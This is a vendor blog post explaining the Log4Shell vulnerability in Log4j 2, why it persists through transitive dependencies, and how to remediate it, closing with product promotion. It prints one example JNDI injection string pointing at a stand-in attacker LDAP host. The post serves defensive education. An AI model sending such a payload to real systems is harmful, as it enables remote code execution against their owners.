Safeguard
Security Guides

Log4Shell Explained: Root Cause and Complete Remediation

Log4Shell (CVE-2021-44228) hit CVSS 10.0 and is still exploited today. Here's how the attack works, why it lingers, and how to remediate it completely.

Marcus Chen
AppSec Engineer
5 min read

Log4Shell is the vulnerability security teams still measure other incidents against. Disclosed in December 2021 as CVE-2021-44228, it earned the maximum CVSS score of 10.0 because it combined trivial exploitability with near-universal reach: Apache Log4j 2 is embedded in a staggering share of Java software, and the exploit was a single string an attacker could put anywhere the application logged — a username field, a User-Agent header, a chat message. Years later it's still being exploited in the wild, because "everyone patched Log4Shell" was never actually true. This guide explains the root cause, why it persists, and what complete remediation looks like.

What is Log4Shell and how does it work?

Log4Shell is a remote code execution flaw in Log4j 2's message-lookup feature. Log4j supported a substitution syntax in log messages — for example ${...} expressions that could resolve environment variables. One of the supported lookup types was JNDI (Java Naming and Directory Interface), which can fetch objects from a remote LDAP or RMI server. Combined, these meant that logging an attacker-controlled string like:

${jndi:ldap://attacker.example.com/exploit}

caused the vulnerable JVM to reach out to the attacker's LDAP server, download a remote Java class, and execute it. No authentication, no special access — just get the application to log a string you control, which is trivial for almost any input a web app records. The affected versions run from Log4j 2.0-beta9 through 2.14.1.

Why does Log4Shell still show up in 2026?

Three reasons keep it alive:

  • It's a transitive dependency. Most applications never declared Log4j directly — it came in through a framework, an SDK, or a bundled tool. Teams that grepped their pom.xml for "log4j" and found nothing wrongly concluded they were safe.
  • The first patch wasn't the last. The remediation story was messy: 2.15.0 mitigated the main issue but left a follow-on (CVE-2021-45046), 2.16.0 removed message lookups and JNDI, 2.17.0 fixed a denial-of-service (CVE-2021-45105), and 2.17.1 addressed one more (CVE-2021-44832). Organizations that stopped at 2.15.0 remained exposed.
  • Embedded and forgotten systems. Appliances, legacy internal tools, and vendor software often ship an old Log4j that never gets touched.

The lesson generalizes far beyond Log4j: you cannot remediate what your dependency inventory doesn't show you, and "we don't use that library directly" is not the same as "that library isn't on our classpath."

How to remediate Log4Shell completely

Remediation has a clear priority order.

1. Upgrade to a fully patched version. The definitive fix is upgrading Log4j 2 to 2.17.1 or later, which resolves the full CVE-2021-44228 / 45046 / 45105 / 44832 series. This is the only complete fix — mitigations below are for when you genuinely can't upgrade yet.

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.17.1</version>   <!-- or the latest 2.x release -->
</dependency>

Because it's usually transitive, pin the version in your dependencyManagement (Maven) or version catalog (Gradle) so every path resolves to the patched release.

2. Interim mitigations if you cannot upgrade immediately. For Log4j 2.10 and later, set the flag that disables message lookups:

java -Dlog4j2.formatMsgNoLookups=true -jar app.jar

The equivalent environment variable is LOG4J_FORMAT_MSG_NO_LOOKUPS=true. These are stopgaps — treat them as buying time, not as a fix.

3. Harden JNDI at the JVM level. Ensure com.sun.jndi.ldap.object.trustURLCodebase and the RMI equivalent are false. Modern JDKs (8u191 / 11.0.1 and later) already default these to false, which blunted remote class loading, but confirm it on older embedded JVMs.

4. Verify, don't assume. Scan the resolved dependency tree — not just declared dependencies — for every Log4j version present, including inside fat JARs and container images.

A note on Log4j 1.x and look-alikes

While remediating, teams often discover the older Log4j 1.x line still running somewhere. Log4j 1.x is not vulnerable to CVE-2021-44228 — it lacks the JNDI message-lookup feature — but it reached end of life in 2015 and carries its own serious flaws (for example, the JMSAppender deserialization issue tracked as CVE-2019-17571). "We're on Log4j 1.x so we're fine" is therefore only half true: you dodged Log4Shell but are running unmaintained logging code with no security patches coming. Migrate 1.x to a supported Log4j 2.17.1+ (or an alternative like Logback via SLF4J) rather than treating it as a safe harbor. The same caution applies to reflogging bridges and shaded copies that embed Log4j under a relocated package name, which vulnerability scanners keyed only on the original coordinate can miss entirely.

Remediation checklist

StepActionStatus target
InventoryFind all Log4j versions in the full transitive tree and imagesComplete list
UpgradeMove every instance to 2.17.1+Primary fix
PinEnforce version via dependencyManagement / catalogNo downgrades
MitigateformatMsgNoLookups=true where upgrade is delayedTemporary only
JVMConfirm JNDI trustURLCodebase=falseDefense in depth
VerifyRe-scan to confirm no vulnerable version remainsZero findings

How Safeguard helps

Log4Shell is the textbook case for why manifest-only scanning fails: the vulnerable library was almost always transitive, and the fix required knowing every version actually on the classpath. Safeguard's software composition analysis resolves and inventories the complete transitive tree — including dependencies bundled inside fat JARs and container layers — so a hidden Log4j 2.14 can't escape notice, and SBOM Studio keeps that inventory live so the next zero-day is a query, not a scramble. The reachability engine confirms whether the vulnerable JNDI-lookup path is actually reachable in your application, and when it is, auto-fix pull requests open the upgrade to a patched release directly against your repository with the version pin applied. You can run the same detection locally and in CI through the Safeguard CLI so a future Log4Shell-class flaw is caught before it ships.

Start a free scan at app.safeguard.sh/register, and read the vulnerability remediation docs at docs.safeguard.sh.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.